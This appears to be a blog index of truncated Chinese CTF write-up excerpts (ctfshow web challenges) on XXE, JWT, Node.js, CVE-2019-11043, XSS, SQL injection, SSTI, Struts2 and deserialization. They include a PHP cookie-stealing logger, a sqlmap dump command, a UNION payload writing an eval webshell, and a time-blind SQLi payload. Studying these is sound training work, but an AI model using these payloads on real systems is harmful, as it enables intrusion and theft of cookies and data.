知识了解 可以参考这个:https://blog.csdn.net/hk41666/article/details/125832666https://blog.csdn.net/weixin_44420143/article/details/118721145 XXE(XML外部实体注入)是一种针对XML文档的攻击方式,能够使攻击者利用XML解析器的漏洞读取本地文件或者远程请求。XXE攻击的原理是: XML文档可以包含DOCTYPE定义,里面可以引用外部实体。 XML解析器在解析文档时,会根据DOCTYPE中的引用去获取外部资源。 攻击者可以构造恶意的外部实体引用,让解析器去读取本地文件,或者发起请求到内网服务器。 如果解析器没有禁用外部实体的加载,就可能导致文件内容泄露或远程代码执行。 XXE攻击的危害包括: 读取系统敏感文件,如/etc/passwd 利用文件协议读取本地文件 端口扫描、对内网网站进行攻击 攻击内网应用、数据库 执行远程代码,调用恶意脚本 防范XXE攻击的方法: 对不可信XML输入进行验证,过滤….\等威 ...
知识 https://xz.aliyun.com/t/2338 jwt格式如下: 1header.payload.signature Header 通常由两部分组成:token类型和哈希算法,例如: 1{"typ": "JWT", "alg": "HS256"} Payload 负载,存放有效信息的地方,比如用户ID,用户名等。它也可以存放私有数据。 Signature 签名,是对前两部分数据签名,防止数据篡改。它由 header 和 payload 使用算法生成,例如 HMAC-SHA256。 12345678标准中注册的声明 (建议但不强制使用) # iss: jwt签发者# sub: jwt所面向的用户# aud: 接收jwt的一方# exp: jwt的过期时间,这个过期时间必须要大于签发时间# nbf: 定义在什么时间之前,该jwt都是不可用的# iat: jwt的签发时间# jti: jwt的唯一身份标识,主要用来作为一次性token,从而回避重放攻击 web345 ...
题前准备简单了解下node.js,我对他的了解就是写过一点点的electron,然后就是老用npm来补网易云的一些插件XD。语言特性了解: https://f1veseven.github.io/2022/04/03/ctf-nodejs-zhi-yi-xie-xiao-zhi-shi/ 后面几个重量级的暂时先学会利用,等语言熟悉了再跟着复现。 web334文件读取,rce拼接bypass下载并解压相关代码: 12345module.exports = { items: [ {username: 'CTFSHOW', password: '123456'} ]}; 尝试登录:注意不要抄大写!登录之后就有flag了。 123return users.find(function(item){ return name!=='CTFSHOW' && item.username === name.toUpperCase() && it ...
web311CVE-2019-11043远程代码执行漏洞抓包,版本7.1.33。这个复现得需要go环境,装一下:sudo apt install golang 123git clone https://github.com/neex/phuip-fpizdam.gitcd phuip-fpizdamgo get -v && go build 执行go get -v && go build会一直没反应因为go proxy默认为proxy.golang.org,国内无法访问执行命令换代理:go env -w GOPROXY=https://goproxy.cn再次执行go get -v && go build最后使用: 1go run . "地址/index.php" 末尾的index.php必须要加。我再本地搭的用不了,拿vps打了一下就能用了。 1234567891011root@hcss-ecs-8320:~/phui/phuip-fpizdam# go run . "http://24f960a ...
提前准备准备几个XSS注入网站:如https://xsshs.cn/,https://xss.pt/,http://xsscom.com去生成xss链接当然,除此之外,也可以自己编写: 123456<?php$cookie = $_GET['cookie'];$log = fopen("cookie.txt", "a");fwrite($log, $cookie . "\n");fclose($log);?> web316后台bot会自动访问你的连接,我们只需要写一段恶意XSS内容即可。这里用https://xss.pt/进行复现。注册好后,创建项目之后,把获取cookie添加上。好像抓到的是自己🤔。那就试一试写在自己的VPS上。 123456<?php$cookie = $_GET['cookie'];$log = fopen("cookie.txt", "a");fwrite($log, $cookie . "\n ...
web301-302上来就是登录页面,看了代码发现没有过滤,尝试使用sqlmap直接开注入。 1$sql="select sds_password from sds_user where sds_username='".$username."' order by id limit 1;"; 1sqlmap -u http://e870d81c-dd88-4dc4-b990-760221d286bb.challenge.ctf.show/checklogin.php --data 'userid=1&userpwd=1' -D sds -C sds_password --dump --batch 看看密码,sqlmap这个必须盲注,只盲了密码,猜账号为admin。登陆成功。但是登录进入之后没啥用,似乎得写入shell。之前还真没怎么用过sql写文件,这里记一下: 1userid=1'+union select "<?php eval($_POST[1]);?>&quo ...
本文中所有{ {、{ %,其余同理中本来应该没有空格,但是由于与Nunjunks语法碰撞,因此修改。 https://blog.csdn.net/q20010619/article/details/120493997 代码块: 1234变量块 { {} } 用于将表达式打印到模板输出注释块 {##} 注释控制块 { %% } 可以声明变量,也可以执行语句行声明 ## 可以有和{ %% }相同的效果 常用方法: 12345678910111213141516171819202122232425262728__class__ 查看对象所在的类__mro__ 查看继承关系和调用顺序,返回元组__base__ 返回基类__bases__ 返回基类元组__subclasses__() 返回子类列表__init__ 调用初始化函数,可以用来跳到__globals____global ...
https://blog.csdn.net/q20010619/article/details/120729447 这里面的漏洞都是struts2漏洞,使用建议下载Struts2scan工具辅助学习。 https://github.com/HatBoy/Struts2-Scan.githttps://github.com/shack2/Struts2VulsTools 通过页面回显的错误消息来判断,页面不回显错误消息时则无效 通过网页后缀来判断,如.do .action,有可能不准 如果配置文件中常数extension的值以逗号结尾或者有空值,指明了action可以不带后缀,那么不带后缀的uri也可能是struts2框架搭建的 如果使用Struts2的rest插件,其默认的struts-plugin.xml指定的请求后缀为xhtml,xml和json 判断 /struts/webconsole.html 是否存在来进行判断,需要 devMode 为 true web279 https://www.freebuf.com/column/224041.h ...
web254和反序列化没啥关系,可能只是来了解一下代码: 1234567891011121314151617181920212223242526272829303132333435363738394041error_reporting(0);highlight_file(__FILE__);include('flag.php');class ctfShowUser{ public $username='xxxxxx'; public $password='xxxxxx'; public $isVip=false; public function checkVip(){ return $this->isVip; } public function login($u,$p){ if($this->username===$u&&$this->password===$p){ $this->isVip=true; ...
web214时间盲注终于知道是哪来的注入点了,在主页的网络包中有一个select.js中能看到: 12345678910$.ajax({ url:'api/', dataType:"json", type:'post', data:{ ip:returnCitySN["cip"], debug:0 }}); 向其中可以存在注入点。hackbar测试一下:有sql执行,继续构建测试payload: 1ip=if(substr(database(),1,1)=('c'),sleep(5),1)&debug=0 然后就是写脚本先贴一下佬们的脚本: 12345678910111213141516171819202122232425262728293031323334353637"""Author:Y4tacker"""import requestsurl = &quo ...